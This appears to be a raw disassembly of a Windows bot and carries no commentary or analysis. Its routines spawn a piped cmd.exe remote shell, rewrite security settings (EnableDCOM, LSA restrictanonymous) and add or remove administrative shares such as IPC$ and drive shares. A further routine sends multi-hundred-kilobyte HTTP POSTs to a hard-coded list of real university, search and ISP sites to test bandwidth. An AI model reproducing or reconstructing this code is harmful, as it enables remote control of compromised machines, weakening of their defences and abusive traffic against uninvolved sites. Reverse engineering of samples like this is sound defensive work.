var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push esi
push edi
call sub_41A901
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset aCmd_exe_0 ; "cmd.exe"
push esi
call dword_4E31B4 ; SearchPathA
test eax, eax
jz loc_41AC3F
lea eax, [ebp+var_1C]
mov edi, ds:dword_4F53D0
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], 1
mov [ebp+var_18], esi
call edi ; CreatePipe
test eax, eax
jz loc_41AC3F
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi ; CreatePipe
test eax, eax
jz loc_41AC3F
mov edi, ds:dword_4F53CC
push 3
push esi
push esi
push offset dword_4F3468
call edi ; GetCurrentProcess
push eax
push [ebp+var_8]
call edi ; GetCurrentProcess
push eax
call ds:dword_4F53C8 ; DuplicateHandle
test eax, eax
jz short loc_41AC3F
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
push 44h
lea eax, [ebp+var_74]
pop edi
push edi ; Size
push esi ; Val
push eax ; Dst
call _memset
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+Dst]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
lea eax, [ebp+var_178]
push offset dword_4F34B0
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call ds:dword_4F5340 ; CreateProcessA
test eax, eax
jnz short loc_41AC47
loc_41AC3F: ; CODE XREF: sub_41AB45+2Ej
; sub_41AB45+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_41ACF9
; ---------------------------------------------------------------------------
loc_41AC47: ; CODE XREF: sub_41AB45+F8j
push [ebp+var_4]
mov edi, ds:dword_4F533C
call edi ; CloseHandle
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_4F3464, eax
mov eax, [ebp+var_8]
mov dword_4F346C, eax
mov eax, [ebp+Dst]
mov dword_4F3460, eax
call edi ; CloseHandle
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_4F34A4, eax
jz short loc_41AC81
push [ebp+arg_4]
jmp short loc_41AC86
; ---------------------------------------------------------------------------
loc_41AC81: ; CODE XREF: sub_41AB45+135j
push offset byte_4F34B4 ; Format
loc_41AC86: ; CODE XREF: sub_41AB45+13Aj
push offset byte_4F3470 ; Dest
call _sprintf
pop ecx
pop ecx
push esi ; int
push 0Ah ; int
push offset asc_450EB4 ; "-"
call sub_40B756
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_456020[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_41A9F0
push esi
push esi
call ds:dword_4F5350 ; CreateThread
cmp eax, esi
mov dword_45602C[edi], eax
jnz short loc_41ACF7
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Dest]
push offset asc_450ED8 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push eax
call sub_415C3F
add esp, 10h
loc_41ACF7: ; CODE XREF: sub_41AB45+189j
xor eax, eax
loc_41ACF9: ; CODE XREF: sub_41AB45+FDj
pop edi
pop esi
leave
retn
sub_41AB45 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ACFD proc near ; DATA XREF: sub_401CC7+2DFCo
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_41AD44
call sub_41AD5D
jmp short loc_41AD49
; ---------------------------------------------------------------------------
loc_41AD44: ; CODE XREF: sub_41ACFD+3Ej
call sub_41B081
loc_41AD49: ; CODE XREF: sub_41ACFD+45j
add esp, 10h
push [ebp+var_14]
call sub_40BA72
pop ecx
push 0
call ds:dword_4F53A0 ; ExitThread
sub_41ACFD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AD5D proc near ; CODE XREF: sub_41ACFD+40p
Dest = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
Str = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_4E31C8, edi
jnz loc_41AE8F
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4E3168 ; RegOpenKeyExA
test eax, eax
jnz short loc_41ADE8
mov ax, word_450F50
mov word ptr [ebp+Str+2], ax
lea eax, [ebp+Str+2]
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4E311C ; RegSetValueExA
test eax, eax
jz short loc_41ADCA
push offset dword_450F60
jmp short loc_41ADCF
; ---------------------------------------------------------------------------
loc_41ADCA: ; CODE XREF: sub_41AD5D+64j
push offset asc_450F84 ; "-"
loc_41ADCF: ; CODE XREF: sub_41AD5D+6Bj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
push [ebp+var_4]
call dword_4E30D4 ; RegCloseKey
jmp short loc_41ADFB
; ---------------------------------------------------------------------------
loc_41ADE8: ; CODE XREF: sub_41AD5D+36j
lea eax, [ebp+Dest]
push offset asc_450FA4 ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41ADFB: ; CODE XREF: sub_41AD5D+89j
cmp [ebp+arg_C], edi
jnz short loc_41AE1A
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 14h
loc_41AE1A: ; CODE XREF: sub_41AD5D+A1j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4E3168 ; RegOpenKeyExA
test eax, eax
jnz short loc_41AE88
lea eax, [ebp+Str]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov dword ptr [ebp+Str], 1
call dword_4E311C ; RegSetValueExA
test eax, eax
jz short loc_41AE6A
push offset dword_450FE8
jmp short loc_41AE6F
; ---------------------------------------------------------------------------
loc_41AE6A: ; CODE XREF: sub_41AD5D+104j
push offset asc_451024 ; "-"
loc_41AE6F: ; CODE XREF: sub_41AD5D+10Bj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
push [ebp+var_4]
call dword_4E30D4 ; RegCloseKey
jmp short loc_41AEA2
; ---------------------------------------------------------------------------
loc_41AE88: ; CODE XREF: sub_41AD5D+E2j
push offset dword_451058
jmp short loc_41AE94
; ---------------------------------------------------------------------------
loc_41AE8F: ; CODE XREF: sub_41AD5D+13j
push offset asc_451094 ; "-"
loc_41AE94: ; CODE XREF: sub_41AD5D+130j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41AEA2: ; CODE XREF: sub_41AD5D+129j
cmp [ebp+arg_C], edi
jnz short loc_41AEC1
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 14h
loc_41AEC1: ; CODE XREF: sub_41AD5D+148j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
cmp dword_4E31F0, edi
pop ecx
jnz loc_41B03C
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_41AEE4: ; CODE XREF: sub_41AD5D+2C3j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+Str]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_4E303C
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_41AF81
cmp eax, 0EAh
jz short loc_41AF81
mov esi, offset off_450F10
loc_41AF15: ; CODE XREF: sub_41AD5D+21Dj
push dword ptr [esi]
push edi
call sub_419B38
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_41AF2C
push offset dword_451114
jmp short loc_41AF31
; ---------------------------------------------------------------------------
loc_41AF2C: ; CODE XREF: sub_41AD5D+1C6j
push offset asc_451138 ; "-"
loc_41AF31: ; CODE XREF: sub_41AD5D+1CDj
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41AF64
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 14h
loc_41AF64: ; CODE XREF: sub_41AD5D+1EBj
lea eax, [ebp+Dest]
push eax
call sub_415C3F
add esi, 8
pop ecx
cmp esi, offset aIpc ; "IPC$"
jb short loc_41AF15
jmp loc_41B019
; ---------------------------------------------------------------------------
loc_41AF81: ; CODE XREF: sub_41AD5D+1AAj
; sub_41AD5D+1B1j
mov esi, dword ptr [ebp+Str]
push 1
pop ebx
cmp [ebp+var_4], ebx
jb loc_41B010
loc_41AF90: ; CODE XREF: sub_41AD5D+2AFj
mov edi, [esi]
push edi ; Str
call _wcslen
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_41B005
push edi
call sub_419A25
push eax
push 0
call sub_419B38
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41AFBF
push offset dword_4510C4
jmp short loc_41AFC4
; ---------------------------------------------------------------------------
loc_41AFBF: ; CODE XREF: sub_41AD5D+259j
push offset asc_4510E8 ; "-"
loc_41AFC4: ; CODE XREF: sub_41AD5D+260j
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41AFF8
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 14h
loc_41AFF8: ; CODE XREF: sub_41AD5D+27Fj
lea eax, [ebp+Dest]
push eax
call sub_415C3F
pop ecx
loc_41B005: ; CODE XREF: sub_41AD5D+242j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_41AF90
xor edi, edi
loc_41B010: ; CODE XREF: sub_41AD5D+22Dj
push dword ptr [ebp+Str]
call dword_4E3188
loc_41B019: ; CODE XREF: sub_41AD5D+21Fj
cmp [ebp+var_10], 0EAh
jz loc_41AEE4
lea eax, [ebp+Dest]
push offset asc_451164 ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
pop ebx
jmp short loc_41B04F
; ---------------------------------------------------------------------------
loc_41B03C: ; CODE XREF: sub_41AD5D+177j
lea eax, [ebp+Dest]
push offset asc_45118C ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41B04F: ; CODE XREF: sub_41AD5D+2DDj
cmp [ebp+arg_C], edi
jnz short loc_41B06D
push edi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 14h
loc_41B06D: ; CODE XREF: sub_41AD5D+2F5j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_41AD5D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B081 proc near ; CODE XREF: sub_41ACFD:loc_41AD44p
Dest = byte ptr -220h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
Str = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push esi
push edi
xor edi, edi
cmp dword_4E31C8, edi
jnz loc_41B1AF
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4E3168 ; RegOpenKeyExA
test eax, eax
jnz short loc_41B10C
mov ax, word_4511BC
mov word ptr [ebp+Str+2], ax
lea eax, [ebp+Str+2]
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str+2]
push eax
push 1
push edi
push offset aEnabledcom_0 ; "EnableDCOM"
push [ebp+var_4]
call dword_4E311C ; RegSetValueExA
test eax, eax
jz short loc_41B0EE
push offset dword_4511CC
jmp short loc_41B0F3
; ---------------------------------------------------------------------------
loc_41B0EE: ; CODE XREF: sub_41B081+64j
push offset asc_4511F0 ; "-"
loc_41B0F3: ; CODE XREF: sub_41B081+6Bj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
push [ebp+var_4]
call dword_4E30D4 ; RegCloseKey
jmp short loc_41B11F
; ---------------------------------------------------------------------------
loc_41B10C: ; CODE XREF: sub_41B081+36j
lea eax, [ebp+Dest]
push offset asc_45120C ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41B11F: ; CODE XREF: sub_41B081+89j
cmp [ebp+arg_C], edi
jnz short loc_41B13E
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 14h
loc_41B13E: ; CODE XREF: sub_41B081+A1j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4E3168 ; RegOpenKeyExA
test eax, eax
jnz short loc_41B1A8
lea eax, [ebp+Str]
push 4
push eax
push 4
push edi
push offset aRestrictanon_0 ; "restrictanonymous"
push [ebp+var_4]
mov dword ptr [ebp+Str], edi
call dword_4E311C ; RegSetValueExA
test eax, eax
jz short loc_41B18A
push offset dword_451250
jmp short loc_41B18F
; ---------------------------------------------------------------------------
loc_41B18A: ; CODE XREF: sub_41B081+100j
push offset asc_451290 ; "-"
loc_41B18F: ; CODE XREF: sub_41B081+107j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
push [ebp+var_4]
call dword_4E30D4 ; RegCloseKey
jmp short loc_41B1C2
; ---------------------------------------------------------------------------
loc_41B1A8: ; CODE XREF: sub_41B081+E2j
push offset dword_4512C8
jmp short loc_41B1B4
; ---------------------------------------------------------------------------
loc_41B1AF: ; CODE XREF: sub_41B081+13j
push offset asc_451304 ; "-"
loc_41B1B4: ; CODE XREF: sub_41B081+12Cj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41B1C2: ; CODE XREF: sub_41B081+125j
cmp [ebp+arg_C], edi
jnz short loc_41B1E1
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 14h
loc_41B1E1: ; CODE XREF: sub_41B081+144j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
cmp dword_4E31F0, edi
pop ecx
jnz loc_41B356
mov esi, offset off_450F10
loc_41B1FF: ; CODE XREF: sub_41B081+1E7j
push dword ptr [esi+4] ; int
push dword ptr [esi] ; Str
push edi ; int
call sub_419A8C
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41B21A
push offset dword_451334
jmp short loc_41B21F
; ---------------------------------------------------------------------------
loc_41B21A: ; CODE XREF: sub_41B081+190j
push offset asc_451354 ; "-"
loc_41B21F: ; CODE XREF: sub_41B081+197j
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41B252
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 14h
loc_41B252: ; CODE XREF: sub_41B081+1B5j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
add esi, 8
pop ecx
cmp esi, offset off_450F20
jb short loc_41B1FF
push ebx
call ds:dword_4F5464 ; GetLogicalDrives
mov edi, eax
mov bl, 41h
test edi, edi
jz loc_41B33E
loc_41B27D: ; CODE XREF: sub_41B081+2B7j
mov eax, edi
and eax, 1
cmp al, 1
jnz loc_41B334
cmp bl, 41h
jz loc_41B334
movsx esi, bl
push esi
push offset aC_1 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_20]
push esi
push offset aC_0 ; "%c:\\"
push 0Ah ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_20]
push eax
call dword_4E3158 ; GetDriveTypeA
cmp eax, 3
jnz short loc_41B334
lea eax, [ebp+var_20]
push eax ; int
lea eax, [ebp+var_14]
push eax ; Str
push 0 ; int
call sub_419A8C
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
jnz short loc_41B2EE
push offset dword_451388
jmp short loc_41B2F3
; ---------------------------------------------------------------------------
loc_41B2EE: ; CODE XREF: sub_41B081+264j
push offset asc_4513A8 ; "-"
loc_41B2F3: ; CODE XREF: sub_41B081+26Bj
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41B327
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 14h
loc_41B327: ; CODE XREF: sub_41B081+28Aj
lea eax, [ebp+Dest]
push eax
call sub_415C3F
pop ecx
loc_41B334: ; CODE XREF: sub_41B081+203j
; sub_41B081+20Cj ...
inc bl
shr edi, 1
jnz loc_41B27D
loc_41B33E: ; CODE XREF: sub_41B081+1F6j
lea eax, [ebp+Dest]
push offset asc_4513D0 ; "-"
push eax ; Dest
call _sprintf
pop ecx
xor edi, edi
pop ecx
pop ebx
jmp short loc_41B369
; ---------------------------------------------------------------------------
loc_41B356: ; CODE XREF: sub_41B081+173j
lea eax, [ebp+Dest]
push offset asc_4513F4 ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41B369: ; CODE XREF: sub_41B081+2D3j
cmp [ebp+arg_C], edi
jnz short loc_41B387
push edi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 14h
loc_41B387: ; CODE XREF: sub_41B081+2EBj
lea eax, [ebp+Dest]
push eax
call sub_415C3F
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_41B081 endp
; =============== S U B R O U T I N E =======================================
sub_41B39B proc near ; CODE XREF: sub_41B592+CBp
; sub_41B592+DDp ...
arg_0 = dword ptr 4
call ds:dword_4F537C ; GetTickCount
push eax ; Seed
call _srand
pop ecx
call _rand
cdq
idiv [esp+arg_0]
mov eax, edx
retn
sub_41B39B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41B3B5(char *Str)
sub_41B3B5 proc near ; CODE XREF: sub_41B592+D4p
; sub_41B592+E6p ...
var_38 = dword ptr -38h
Dst = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
Memory = dword ptr -8
var_4 = dword ptr -4
Str = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
push [ebp+Str] ; Str
call _strlen
mov esi, 0FFh
pop ecx
cmp eax, esi
ja loc_41B58E
push 10h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
push [ebp+Str]
mov [ebp+Dst], 2
call sub_40AE55
add esp, 10h
mov [ebp+var_24], eax
test eax, eax
jz loc_41B58E
push 50h
call dword_4E30F8 ; htons
push 6
push 1
push 2
mov [ebp+var_26], ax
call dword_4E3178 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_41B58E
lea ecx, [ebp+Dst]
push 10h
push ecx
push eax
call dword_4E30A0 ; connect
cmp eax, 0FFFFFFFFh
jz loc_41B58E
push 32003h ; unsigned int
call ??2@YAPAXI@Z ; operator new(uint)
mov edi, ds:dword_4F537C
mov ebx, eax
pop ecx
mov [ebp+Memory], ebx
call edi ; GetTickCount
push eax ; Seed
call _srand
call _rand
cdq
idiv esi
mov [esp+38h+var_38], 32001h
push 0 ; Val
push ebx ; Dst
movsx esi, dl
call _memset
push 32000h ; Size
push esi ; Val
push ebx ; Dst
call _memset
push ebx ; Str
call _strlen
push 323EAh ; unsigned int
mov ebx, eax
call ??2@YAPAXI@Z ; operator new(uint)
add esp, 20h
mov esi, eax
push ebx
push [ebp+Str]
push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
push esi ; Dest
call _sprintf
push [ebp+Memory] ; Source
push esi ; Dest
call _strcat
push offset asc_451458 ; "\r\n"
push esi ; Dest
call _strcat
push esi ; Str
call _strlen
mov ebx, eax
add esp, 24h
mov [ebp+var_10], ebx
call edi ; GetTickCount
mov dword ptr [ebp+var_18+4], eax
xor eax, eax
test ebx, ebx
mov [ebp+Str], eax
jbe short loc_41B50E
mov [ebp+var_C], ebx
mov ebx, 400h
jmp short loc_41B4DE
; ---------------------------------------------------------------------------
loc_41B4DB: ; CODE XREF: sub_41B3B5+157j
mov eax, [ebp+Str]
loc_41B4DE: ; CODE XREF: sub_41B3B5+124j
mov ecx, [ebp+var_10]
push 0
sub ecx, eax
cmp ecx, ebx
jnb short loc_41B4EE
push [ebp+var_C]
jmp short loc_41B4EF
; ---------------------------------------------------------------------------
loc_41B4EE: ; CODE XREF: sub_41B3B5+132j
push ebx
loc_41B4EF: ; CODE XREF: sub_41B3B5+137j
add eax, esi
push eax
push [ebp+var_4]
call dword_4E3148 ; send
cmp eax, 0FFFFFFFFh
jz short loc_41B575
add [ebp+Str], ebx
sub [ebp+var_C], ebx
mov eax, [ebp+Str]
cmp eax, [ebp+var_10]
jb short loc_41B4DB
loc_41B50E: ; CODE XREF: sub_41B3B5+11Aj
call edi ; GetTickCount
sub eax, dword ptr [ebp+var_18+4]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
fmul ds:flt_43C4F4
fst [ebp+Str]
fcomp ds:flt_43C4F0
fnstsw ax
sahf
jnz short loc_41B536
fld1
fstp [ebp+Str]
loc_41B536: ; CODE XREF: sub_41B3B5+17Aj
push [ebp+var_4]
call dword_4E3190 ; closesocket
push [ebp+Memory] ; Memory
call _free
push esi ; Memory
call _free
mov eax, [ebp+var_10]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
pop ecx
fild [ebp+var_18]
pop ecx
fdiv [ebp+Str]
fmul ds:flt_43C4EC
fmul ds:flt_43C4E8
call __ftol
loc_41B570: ; CODE XREF: sub_41B3B5+1DBj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41B575: ; CODE XREF: sub_41B3B5+149j
push [ebp+var_4]
call dword_4E3190 ; closesocket
push [ebp+Memory] ; Memory
call _free
push esi ; Memory
call _free
pop ecx
pop ecx
loc_41B58E: ; CODE XREF: sub_41B3B5+19j
; sub_41B3B5+42j ...
xor eax, eax
jmp short loc_41B570
sub_41B3B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41B592(int,char *Str,int)
sub_41B592 proc near ; CODE XREF: sub_401CC7+2E52p
Dest = byte ptr -26Ch
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
push 8
mov [ebp+var_4], 3
mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
mov [ebp+var_34], offset aVerio_fr ; "verio.fr"
mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
mov [ebp+var_20], offset aWww_google_it ; "www.google.it"
mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com"
mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net"
mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
mov [ebp+var_48], offset aWww_above_net ; "www.above.net"
mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
mov [ebp+var_40], offset aWww_google_com ; "www.google.com"
mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
call sub_41B39B
push [ebp+eax*4+var_3C] ; Str
call sub_41B3B5
push 8
mov esi, eax
call sub_41B39B
push [ebp+eax*4+var_3C] ; Str
call sub_41B3B5
add esp, 10h
test esi, esi
jz short loc_41B693
test eax, eax
jz short loc_41B68F
lea ebx, [eax+esi]
shr ebx, 1
jmp short loc_41B695
; ---------------------------------------------------------------------------
loc_41B68F: ; CODE XREF: sub_41B592+F4j
mov ebx, esi
jmp short loc_41B695
; ---------------------------------------------------------------------------
loc_41B693: ; CODE XREF: sub_41B592+F0j
mov ebx, eax
loc_41B695: ; CODE XREF: sub_41B592+FBj
; sub_41B592+FFj
push 0Ch
call sub_41B39B
push [ebp+eax*4+var_6C] ; Str
call sub_41B3B5
push 0Ch
mov edi, eax
call sub_41B39B
push [ebp+eax*4+var_6C] ; Str
call sub_41B3B5
add esp, 10h
test edi, edi
jz short loc_41B6CD
test eax, eax
jz short loc_41B6C9
lea esi, [eax+edi]
shr esi, 1
jmp short loc_41B6CF
; ---------------------------------------------------------------------------
loc_41B6C9: ; CODE XREF: sub_41B592+12Ej
mov esi, edi
jmp short loc_41B6CF
; ---------------------------------------------------------------------------
loc_41B6CD: ; CODE XREF: sub_41B592+12Aj
mov esi, eax
loc_41B6CF: ; CODE XREF: sub_41B592+135j
; sub_41B592+139j
push 6
call sub_41B39B
push [ebp+eax*4+var_1C] ; Str
call sub_41B3B5
push 6
mov edi, eax
call sub_41B39B
push [ebp+eax*4+var_1C] ; Str
call sub_41B3B5
add esp, 10h
test edi, edi
jz short loc_41B707
test eax, eax
jz short loc_41B703
lea ecx, [eax+edi]
shr ecx, 1
jmp short loc_41B709
; ---------------------------------------------------------------------------
loc_41B703: ; CODE XREF: sub_41B592+168j
